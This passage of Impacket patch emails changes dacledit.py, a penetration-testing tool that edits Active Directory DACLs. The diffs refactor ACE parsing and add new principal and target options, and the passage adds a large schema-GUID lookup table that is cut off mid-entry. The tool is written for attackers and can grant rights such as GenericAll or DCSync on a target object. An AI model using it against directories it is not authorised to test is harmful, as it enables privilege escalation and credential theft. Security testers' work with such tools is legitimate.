compare_ace['Ace']['ObjectType']: + logging.debug("This ACE will be removed") + ace_must_be_removed = True + self.printparsedACE(self.parseACE(ace)) + else: + logging.debug("This ACE will be removed") + ace_must_be_removed = True + self.printparsedACE(self.parseACE(ace)) + if not ace_must_be_removed: + new_dacl.append(ace) + i += 1 + secDesc['Dacl'].aces = new_dacl + dn = self.target_principal.entry_dn + data = secDesc.getData() + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + return def flush(self): # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL @@ -226,73 +339,91 @@ def parseDACL(self, dacl): i = 0 for ace in dacl['Data']: logging.debug("Parsing ACE[%d]" % i) - if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - parsed_ace = {} - parsed_ace['ACE Type'] = ace['TypeName'] - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) - - if ace['TypeName'] == "ACCESS_ALLOWED_ACE": - _access_mask_flags = [] - for FLAG in ALLOWED_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - # todo match the SID with the object sAMAccountName ? - elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - _access_mask_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - # todo match the SID with the object sAMAccountName ? - _object_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_FLAGS: - if ace['Ace'].hasFlag(FLAG.value): - _object_flags.append(FLAG.name) - parsed_ace['Object flags'] = ", ".join(_object_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - if ace['Ace']['ObjectTypeLen'] != 0: - parsed_ace['Object type'] = bin_to_string(ace['Ace']['ObjectType']) - # todo match guid with human readable right, create an Enum class for that - if ace['Ace']['InheritedObjectTypeLen'] != 0: - parsed_ace['Inherited object type'] = bin_to_string(ace['Ace']['InheritedObjectType']) - # todo match guid with human readable right, create an Enum class for that - else: - logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) - parsed_ace = {} - parsed_ace['Type'] = ace['TypeName'] - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_ace_flags) - parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_ace = self.parseACE(ace) parsed_dacl.append(parsed_ace) i += 1 return parsed_dacl + def parseACE(self, ace): + if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + parsed_ace = {} + parsed_ace['ACE Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) + + if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + _access_mask_flags = [] + # todo : something is wrong here, when creating a genericall manually on the DC, the Mask reflects here with a value of 983551, I'm not sure I'm parsing that data correctly + for FLAG in ALLOWED_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + _object_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + if ace['Ace'].hasFlag(FLAG.value): + _object_flags.append(FLAG.name) + parsed_ace['Object flags'] = ", ".join(_object_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + if ace['Ace']['ObjectTypeLen'] != 0: + obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() + try: + parsed_ace['Object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + except KeyError: + parsed_ace['Object type'] = "UNKNOWN (%s)" % obj_type + if ace['Ace']['InheritedObjectTypeLen'] != 0: + inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() + try: + parsed_ace['Inherited object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + except KeyError: + parsed_ace['Object type'] = "UNKNOWN (%s)" % inh_obj_type + else: + logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + parsed_ace = {} + parsed_ace['Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + return parsed_ace + def printparsedDACL(self, parsed_dacl): logging.info("Printing parsed DACL") i = 0 for parsed_ace in parsed_dacl: logging.info(" %-28s" % "ACE[%d] info" % i) - elements_name = list(parsed_ace.keys()) - for attribute in elements_name: - logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + self.printparsedACE(parsed_ace) i += 1 + def printparsedACE(self, parsed_ace): + elements_name = list(parsed_ace.keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-from", dest="controlled_account", type=str, required=False, help="Attacker controlled principal to add for the ACE") - parser.add_argument("-to", dest="target_account", type=str, required=False, help="Target principal the attacker has WriteDACL to") + parser.add_argument("-principal", dest="principal_sAMAccountName", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-principal-sid", dest="principal_SID", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-principal-dn", dest="principal_DN", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-target", dest="target_sAMAccountName", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") + parser.add_argument("-target-sid", dest="target_SID", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") + parser.add_argument("-target-dn", dest="target_DN", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') @@ -540,8 +671,8 @@ def main(): args = parse_args() init_logger(args) - if args.action == 'write' and args.delegate_from is None: - logging.critical('`-delegate-from` should be specified when using `-action write` !') + if args.action == 'write' and args.principal_sAMAccountName is None and args.principal_SID is None and args.principal_DN is None: + logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') sys.exit(1) domain, username, password, lmhash, nthash = parse_identity(args) @@ -550,13 +681,13 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - dacledit = DACLedit(ldap_server, ldap_session, args.target_account) + dacledit = DACLedit(ldap_server, ldap_session, args) if args.action == 'read': dacledit.read() elif args.action == 'write': - dacledit.write(args.controlled_account, args.rights, args.rights_guid) + dacledit.write() elif args.action == 'remove': - dacledit.remove(args.controlled_account, args.rights, args.rights_guid) + dacledit.remove() elif args.action == 'flush': dacledit.flush() except Exception as e: diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py new file mode 100644 index 0000000000..e69de29bb2 From c1a457c7697eea7538dc0681af3964503cdd9899 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 03:28:02 +0200 Subject: [PATCH 101/152] Slightly improved printing and populated GUIDs --- examples/dacledit.py | 10 +- impacket/msada_guids.py | 1877 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 1883 insertions(+), 4 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index a6cbe29289..7dbf855319 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -167,7 +167,7 @@ def write(self): except IndexError: logging.error('Principal not found in LDAP') return False - logging.debug("Principal SID to write in ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) @@ -233,7 +233,7 @@ def remove(self): except IndexError: logging.error('Principal not found in LDAP') return False - logging.debug("Principal SID to write in comparison ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID: %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) @@ -272,7 +272,7 @@ def remove(self): new_dacl = [] i = 0 for ace in secDesc['Dacl'].aces: - logging.debug("Comparing ACE[%d]" % i) + # logging.debug("Comparing ACE[%d]" % i) ace_must_be_removed = False for compare_ace in compare_aces: if ace['AceType'] == compare_ace['AceType'] \ @@ -290,7 +290,9 @@ def remove(self): else: logging.debug("This ACE will be removed") ace_must_be_removed = True - self.printparsedACE(self.parseACE(ace)) + elements_name = list(self.parseACE(ace).keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, self.parseACE(ace)[attribute])) if not ace_must_be_removed: new_dacl.append(ace) i += 1 diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py index e69de29bb2..0d485fd972 100644 --- a/impacket/msada_guids.py +++ b/impacket/msada_guids.py @@ -0,0 +1,1877 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) +# +# References: +# MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID: +# - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f +# - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e +# - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 +# GUIDS gathered from (lots of cleaning made from that source, things may be missing): +# - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1 +# + +SCHEMA_OBJECTS = { + '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', + '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', + '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', + 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', + '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', + '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', + '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', + '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', + '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', + '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', + 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', + 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', + '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', + 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', + 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', + 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', + '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', + 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', + 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', + 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', + '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', + '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', + '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', + 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', + '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', + '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', + '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', + 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', + 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', + 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', + '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', + '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', + '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', + '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', + 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', + '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', + 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', + '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', + 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', + 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', + 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', + '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', + 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', + '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', + 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', + 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', + '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', + 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', + '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', + 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', + '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', + 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', + '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', + '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', + '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', + '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', + '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', + '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', + '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', + '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', + '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', + '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', + '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', + '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', + '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', + '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', + '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', + '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', + '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', + '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', + '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', + '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', + 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', + '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', + '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', + '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', + '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', + 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', + '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', + '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', + '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', + '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', + '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', + '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', + 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', + 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', + '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', + 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', + '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', + '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', + 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', + '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', + 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', + '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', + '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', + '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', + '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', + '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', + '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', + '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', + 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', + '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', + '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', + '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', + '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', + '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', + 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', + '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', + 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', + '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', + '5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', + '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', + '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', + 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', + 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', + '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', + 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', + 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', + 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', + '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', + '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', + 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', + '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', + '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', + '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', + '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', + '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', + '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', + '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', + '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', + 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', + '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', + 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', + 'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', + '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', + 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', + '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', + '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', + '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', + 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', + 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', + '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', + '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', + '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', + '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', + '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', + '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', + 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', + 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', + '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', + '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', + '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', + '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', + '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', + 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', + '7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow', + 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', + 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', + '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', + 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', + 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', + 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', + 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', + 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', + 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', + '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', + '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', + 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', + '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', + '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', + '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', + 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', + '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', + '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', + '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', + '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', + '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', + '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', + 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', + 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', + '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', + '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', + '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', + 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', + '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', + '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', + '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', + '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', + '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', + '135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', + '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', + 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', + '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', + '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', + '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', + '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', + 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', + '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', + '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', + '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', + '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', + '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', + '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', + 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', + 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 